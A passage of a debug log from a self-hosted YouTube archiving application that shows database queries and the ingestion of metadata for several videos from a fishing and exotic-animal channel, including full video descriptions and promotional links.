= 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118982] 08:30:27.940 [debug] Current batch of media processed. Will check again in 1000ms 08:30:28.940 [debug] Current batch of media processed. Will check again in 1000ms 08:30:29.381 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:29.942 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1645, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", "id" => "B18LIIpNx8E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=B18LIIpNx8E", "playlist_index" => 16, "timestamp" => 1738335601, "title" => "I Found Live Animals in a Pet Store Dumpster!", "upload_date" => "20250131"} 08:30:29.944 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=561.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:29.945 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=255.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:29.947 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=256.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-31 15:00:01Z], 33] 08:30:29.951 [debug] QUERY OK source="media_items" db=2.9ms idle=257.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "e36762b3-1ec3-42c5-83f1-dfe90477ca51", "B18LIIpNx8E", false, "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, [], 1645, false, 16, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, false, 98, ~U[2025-01-31 15:00:01Z], ~U[2026-06-03 12:30:29Z], ~U[2026-06-03 12:30:29Z], "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "B18LIIpNx8E", "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, 1645, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, ~U[2025-01-31 15:00:01Z]] 08:30:29.951 [debug] QUERY OK source="sources" db=0.2ms idle=163.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:29.952 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:29.952 [debug] QUERY OK source="media_items" db=0.2ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118983] 08:30:29.952 [debug] Current batch of media processed. Will check again in 1000ms 08:30:30.953 [debug] Current batch of media processed. Will check again in 1000ms 08:30:31.956 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "duration" => 1942, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", "id" => "5z6jFVK60Qw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5z6jFVK60Qw", "playlist_index" => 17, "timestamp" => 1736600401, "title" => "I Found The Deadliest Animals On The Dark Web!", "upload_date" => "20250111"} 08:30:31.957 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=267.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:31.959 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=268.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:31.960 [debug] QUERY OK source="media_items" db=0.9ms idle=270.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-11 13:00:01Z], 33] 08:30:31.963 [debug] QUERY OK source="media_items" db=1.5ms idle=271.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "I Found The Deadliest Animals On The Dark Web!", "802d0caa-e9e6-454e-8183-e41910b4466a", "5z6jFVK60Qw", false, "https://www.youtube.com/watch?v=5z6jFVK60Qw", 33, [], 1942, false, 17, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", false, false, 98, ~U[2025-01-11 13:00:01Z], ~U[2026-06-03 12:30:31Z], ~U[2026-06-03 12:30:31Z], "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the worl (truncated) 08:30:31.963 [debug] QUERY OK source="sources" db=0.2ms idle=173.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:31.964 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:30:31.964 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118984] 08:30:31.964 [debug] Current batch of media processed. Will check again in 1000ms 08:30:32.965 [debug] Current batch of media processed. Will check again in 1000ms 08:30:33.966 [debug] Current batch of media processed. Will check again in 1000ms 08:30:34.968 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "duration" => 10248, "filename" => "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", "id" => "gyK4NviOjGA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gyK4NviOjGA", "playlist_index" => 18, "timestamp" => 1734182907, "title" => "Every Pond Monster I’ve Ever Found…", "upload_date" => "20241214"} 08:30:34.969 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1279.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:34.970 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1280.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:30:34.973 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1281.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-14 13:28:27Z], 33] 08:30:34.974 [debug] QUERY OK source="media_items" db=0.7ms idle=1180.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned 